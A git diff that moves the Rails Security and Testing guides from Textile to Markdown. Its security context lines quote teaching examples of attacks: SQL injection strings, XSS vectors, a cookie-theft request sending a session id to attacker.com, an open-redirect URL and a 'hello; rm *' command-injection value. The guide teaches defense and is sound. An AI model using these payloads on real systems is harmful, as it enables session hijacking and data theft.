To generate guides for the Kindle, use the following rake task:
diff --git a/guides/source/security.md b/guides/source/security.md
index 200601d574..2ee4cda8d1 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -1,4 +1,5 @@
-h2. Ruby On Rails Security Guide
+Ruby On Rails Security Guide
+============================
This manual describes common security problems in web applications and how to avoid them with Rails. After reading it, you should be familiar with:
@@ -10,9 +11,10 @@ This manual describes common security problems in web applications and how to av
* How to manage users: Logging in and out and attack methods on all layers
* And the most popular injection attack methods
-endprologue.
+--------------------------------------------------------------------------------
-h3. Introduction
+Introduction
+------------
Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
@@ -24,11 +26,12 @@ The threats against web applications include user account hijacking, bypass of a
In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
-h3. Sessions
+Sessions
+--------
A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
-h4. What are Sessions?
+### What are Sessions?
NOTE: _HTTP is a stateless protocol. Sessions make it stateful._
@@ -42,13 +45,13 @@ session[:user_id] = @current_user.id
User.find(session[:user_id])
```
-h4. Session id
+### Session id
NOTE: _The session id is a 32 byte long MD5 hash value._
A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
-h4. Session Hijacking
+### Session Hijacking
WARNING: _Stealing a user's session id lets an attacker use the web application in the victim's name._
@@ -70,7 +73,7 @@ config.force_ssl = true
The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
-h4. Session Guidelines
+### Session Guidelines
Here are some general guidelines on sessions.
@@ -79,7 +82,7 @@ This will also be a good idea, if you modify the structure of an object and old
* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-h4. Session Storage
+### Session Storage
NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is +ActionDispatch::Session::CookieStore+._
@@ -100,7 +103,7 @@ config.action_dispatch.session = {
There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
-h4. Replay Attacks for CookieStore Sessions
+### Replay Attacks for CookieStore Sessions
TIP: _Another sort of attack you have to be aware of when using +CookieStore+ is the replay attack._
@@ -116,7 +119,7 @@ Including a nonce (a random value) in the session solves replay attacks. A nonce
The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
-h4. Session Fixation
+### Session Fixation
NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
@@ -131,7 +134,7 @@ This attack focuses on fixing a user's session id known to the attacker, and for
# As the new trap session is unused, the web application will require the user to authenticate.
# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-h4. Session Fixation – Countermeasures
+### Session Fixation – Countermeasures
TIP: _One line of code will protect you from session fixation._
@@ -145,7 +148,7 @@ If you use the popular RestfulAuthentication plugin for user management, add res
Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
-h4. Session Expiry
+### Session Expiry
NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
@@ -170,7 +173,8 @@ delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
created_at < '#{2.days.ago.to_s(:db)}'"
```
-h3. Cross-Site Request Forgery (CSRF)
+Cross-Site Request Forgery (CSRF)
+---------------------------------
This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
@@ -189,7 +193,7 @@ It is important to notice that the actual crafted image or link doesn't necessar
CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
-h4. CSRF Countermeasures
+### CSRF Countermeasures
NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
@@ -247,11 +251,12 @@ The above method can be placed in the +ApplicationController+ and will be called
Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-h3. Redirection and Files
+Redirection and Files
+---------------------
Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
-h4. Redirection
+### Redirection
WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
@@ -271,7 +276,7 @@ http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
-h5. Self-contained XSS
+#### Self-contained XSS
Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
@@ -279,7 +284,7 @@ Another redirection and self-contained XSS attack works in Firefox and Opera by
This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
-h4. File Uploads
+### File Uploads
NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
@@ -304,7 +309,7 @@ A significant disadvantage of synchronous processing of file uploads (as the att
The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
-h4. Executable Code in File Uploads
+### Executable Code in File Uploads
WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
@@ -312,7 +317,7 @@ The popular Apache web server has an option called DocumentRoot. This is the hom
_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
-h4. File Downloads
+### File Downloads
NOTE: _Make sure users cannot download arbitrary files._
@@ -334,7 +339,8 @@ send_file filename, :disposition => 'inline'
Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
-h3. Intranet and Admin Security
+Intranet and Admin Security
+---------------------------
Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
@@ -356,7 +362,7 @@ Another popular attack is to spam your web application, your blog or forum to pr
For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
-h4. Additional Precautions
+### Additional Precautions
The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
@@ -366,7 +372,8 @@ The common admin interface works like this: it's located at www.example.com/admi
* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
-h3. Mass Assignment
+Mass Assignment
+---------------
WARNING: _Without any precautions +Model.new(params[:model]+) allows attackers to set any database column's value._
@@ -409,7 +416,7 @@ Note that this vulnerability is not restricted to database columns. Any setter m
As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
-h4. Countermeasures
+### Countermeasures
To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
@@ -478,7 +485,8 @@ config.active_record.whitelist_attributes = true
This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests.
-h3. User Management
+User Management
+---------------
NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
@@ -505,7 +513,7 @@ SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
-h4. Brute-Forcing Accounts
+### Brute-Forcing Accounts
NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
@@ -517,23 +525,23 @@ However, what most web application designers neglect, are the forgot-password pa
In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
-h4. Account Hijacking
+### Account Hijacking
Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.
-h5. Passwords
+#### Passwords
Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
-h5. E-Mail
+#### E-Mail
However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
-h5. Other
+#### Other
Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
-h4. CAPTCHAs
+### CAPTCHAs
INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
@@ -560,7 +568,7 @@ You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post
Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
-h4. Logging
+### Logging
WARNING: _Tell Rails not to put passwords in the log files._
@@ -570,7 +578,7 @@ By default, Rails logs all requests being made to the web application. But log f
config.filter_parameters << :password
```
-h4. Good Passwords
+### Good Passwords
INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
@@ -582,7 +590,7 @@ It is interesting that only 4% of these passwords were dictionary words and the
A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
-h4. Regular Expressions
+### Regular Expressions
INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
@@ -623,7 +631,7 @@ Since this is a frequent mistake, the format validator (validates_format_of) now
Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the *line* beginning and line end in Ruby, and not the beginning and end of a string.
-h4. Privilege Escalation
+### Privilege Escalation
WARNING: _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
@@ -643,13 +651,14 @@ Depending on your web application, there will be many more parameters the user c
Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
-h3. Injection
+Injection
+---------
INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
-h4. Whitelists versus Blacklists
+### Whitelists versus Blacklists
NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
@@ -664,11 +673,11 @@ A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTM
Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
-h4. SQL Injection
+### SQL Injection
INFO: _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
-h5(#sql-injection-introduction). Introduction
+#### Introduction
SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
@@ -684,7 +693,7 @@ SELECT * FROM projects WHERE name = '' OR 1 --'
The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
-h5. Bypassing Authorization
+#### Bypassing Authorization
Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
@@ -700,7 +709,7 @@ SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIM
This will simply find the first record in the database, and grants access to this user.
-h5. Unauthorized Reading
+#### Unauthorized Reading
The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
@@ -725,7 +734,7 @@ The result won't be a list of projects (because there is no project with an empt
Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
-h5(#sql-injection-countermeasures). Countermeasures
+#### Countermeasures
Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+where("...")+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>.
@@ -743,11 +752,11 @@ Model.where(:login => entered_user_name, :password => entered_password).first
The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
-h4. Cross-Site Scripting (XSS)
+### Cross-Site Scripting (XSS)
INFO: _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
-h5. Entry Points
+#### Entry Points
An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
@@ -759,7 +768,7 @@ During the second half of 2007, there were 88 vulnerabilities reported in Mozill
A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
-h5. HTML/JavaScript Injection
+#### HTML/JavaScript Injection
The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
@@ -776,7 +785,7 @@ This JavaScript code will simply display an alert box. The next examples do exac
<table background="javascript:alert('Hello')">
```
-h6. Cookie Theft
+##### Cookie Theft
These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
@@ -798,7 +807,7 @@ GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
-h6. Defacement
+##### Defacement
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
@@ -817,7 +826,7 @@ http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode
<script src=http://www.securitylab.ru/test/sc.js></script><!--
```
-h6(#html-injection-countermeasures). Countermeasures
+##### Countermeasures
_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
@@ -840,7 +849,7 @@ This allows only the given tags and does a good job, even against all kinds of t
As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (+&amp;amp;+, +&amp;quot;+, +&amp;lt+;, and +&amp;gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
-h6. Obfuscation and Encoding Injection
+##### Obfuscation and Encoding Injection
Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
@@ -851,7 +860,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte
This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":https://hackvertor.co.uk/public. Rails' sanitize() method does a good job to fend off encoding attacks.
-h5. Examples from the Underground
+#### Examples from the Underground
_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
@@ -871,7 +880,7 @@ In December 2006, 34,000 actual user names and passwords were stolen in a "MySpa
The MySpace Samy worm will be discussed in the CSS Injection section.
-h4. CSS Injection
+### CSS Injection
INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
@@ -907,11 +916,11 @@ In the end, he got a 4 KB worm, which he injected into his profile page.
The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
-h5(#css-injection-countermeasures). Countermeasures
+#### Countermeasures
This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
-h4. Textile Injection
+### Textile Injection
If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
@@ -936,17 +945,17 @@ RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
```
-h5(#textile-injection-countermeasures). Countermeasures
+#### Countermeasures
It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
-h4. Ajax Injection
+### Ajax Injection
NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
-h4. Command Line Injection
+### Command Line Injection
NOTE: _Use user-supplied command line parameters with caution._
@@ -960,7 +969,7 @@ system("/bin/echo","hello; rm *")
```
-h4. Header Injection
+### Header Injection
WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
@@ -995,7 +1004,7 @@ Location: http://www.malicious.tld
So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
-h5. Response Splitting
+#### Response Splitting
If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
@@ -1019,7 +1028,8 @@ Content-Type: text/html
Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
-h3. Default Headers
+Default Headers
+---------------
Every HTTP response from your Rails application receives the following default security headers.
@@ -1060,7 +1070,8 @@ Used to control which sites are allowed to bypass same origin policies and send
* Strict-Transport-Security
"Used to control if the browser is allowed to only access a site over a secure connection":http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
-h3. Additional Resources
+Additional Resources
+--------------------
The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
diff --git a/guides/source/testing.md b/guides/source/testing.md
index 7b8a366192..68bd8941bd 100644
--- a/guides/source/testing.md
+++ b/guides/source/testing.md
@@ -1,4 +1,5 @@
-h2. A Guide to Testing Rails Applications
+A Guide to Testing Rails Applications
+=====================================
This guide covers built-in mechanisms offered by Rails to test your
application. By referring to this guide, you will be able to:
@@ -7,9 +8,10 @@ application. By referring to this guide, you will be able to:
* Write unit, functional, and integration tests for your application
* Identify other popular testing approaches and plugins
-endprologue.
+--------------------------------------------------------------------------------
-h3. Why Write Tests for your Rails Applications?
+Why Write Tests for your Rails Applications?
+--------------------------------------------
Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.
@@ -17,17 +19,18 @@ By simply running your Rails tests you can ensure your code adheres to the desir
Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
-h3. Introduction to Testing
+Introduction to Testing
+-----------------------
Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
-h4. The Test Environment
+### The Test Environment
By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in +config/database.yml+.
A dedicated test database allows you to set up and interact with test data in isolation. Tests can mangle test data with confidence, that won't touch the data in the development or production databases.
-h4. Rails Sets up for Testing from the Word Go
+### Rails Sets up for Testing from the Word Go
Rails creates a +test+ folder for you as soon as you create a Rails project using +rails new+ _application_name_. If you list the contents of this folder then you shall see:
@@ -43,17 +46,17 @@ Fixtures are a way of organizing test data; they reside in the +fixtures+ folder
The +test_helper.rb+ file holds the default configuration for your tests.
-h4. The Low-Down on Fixtures
+### The Low-Down on Fixtures
For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
-h5. What Are Fixtures?
+#### What Are Fixtures?
_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent written in YAML. There is one file per model.
You'll find fixtures under your +test/fixtures+ directory. When you run +rails generate model+ to create a new model fixture stubs will be automatically created and placed in this directory.
-h5. YAML
+#### YAML
YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+).
@@ -74,7 +77,7 @@ steve:
Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
-h5. ERB'in It Up
+#### ERB'in It Up
ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
@@ -86,7 +89,7 @@ user_<%= n %>:
<% end %>
```
-h5. Fixtures in Action
+#### Fixtures in Action
Rails by default automatically loads all fixtures from the +test/fixtures+ folder for your unit and functional test. Loading involves three steps:
@@ -94,7 +97,7 @@ Rails by default automatically loads all fixtures from the +test/fixtures+ folde
* Load the fixture data into the table
* Dump the fixture data into a variable in case you want to access it directly
-h5. Fixtures are ActiveRecord objects
+#### Fixtures are ActiveRecord objects
Fixtures are instances of ActiveRecord. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example:
@@ -109,7 +112,8 @@ users(:david).id
email(david.girlfriend.email, david.location_tonight)
```
-h3. Unit Testing your Models
+Unit Testing your Models
+------------------------
In Rails, unit tests are what you write to test your models.
@@ -190,7 +194,7 @@ This line of code is called an _assertion_. An assertion is a line of code that
Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
-h4. Preparing your Application for Testing
+### Preparing your Application for Testing
Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
@@ -204,7 +208,7 @@ The +rake db:migrate+ above runs any pending migrations on the _development_ env
NOTE: +db:test:prepare+ will fail with an error if +db/schema.rb+ doesn't exist.
-h5. Rake Tasks for Preparing your Application for Testing
+#### Rake Tasks for Preparing your Application for Testing
|_.Tasks |_.Description|
|+rake db:test:clone+ |Recreate the test database from the current environment's database schema|
@@ -215,7 +219,7 @@ h5. Rake Tasks for Preparing your Application for Testing
TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+
-h4. Running Tests
+### Running Tests
Running a test is as simple as invoking the file containing the test cases through Ruby:
@@ -345,11 +349,11 @@ Notice the 'E' in the output. It denotes a test with error.
NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
-h4. What to Include in Your Unit Tests
+### What to Include in Your Unit Tests
Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
-h4. Assertions Available
+### Assertions Available
By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
@@ -380,7 +384,7 @@ Because of the modular nature of the testing framework, it is possible to create
NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
-h4. Rails Specific Assertions
+### Rails Specific Assertions
Rails adds some custom assertions of its own to the +test/unit+ framework:
@@ -398,11 +402,12 @@ NOTE: +assert_valid(record)+ has been deprecated. Please use +assert(record.vali
You'll see the usage of some of these assertions in the next chapter.
-h3. Functional Tests for Your Controllers
+Functional Tests for Your Controllers
+-------------------------------------
In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
-h4. What to Include in your Functional Tests
+### What to Include in your Functional Tests
You should test for things such as:
@@ -461,7 +466,7 @@ end
Now you can try running all the tests and they should pass.
-h4. Available Request Types for Functional Tests
+### Available Request Types for Functional Tests
If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 6 request types supported in Rails functional tests:
@@ -476,7 +481,7 @@ All of request types are methods that you can use, however, you'll probably end
NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.
-h4. The Four Hashes of the Apocalypse
+### The Four Hashes of the Apocalypse
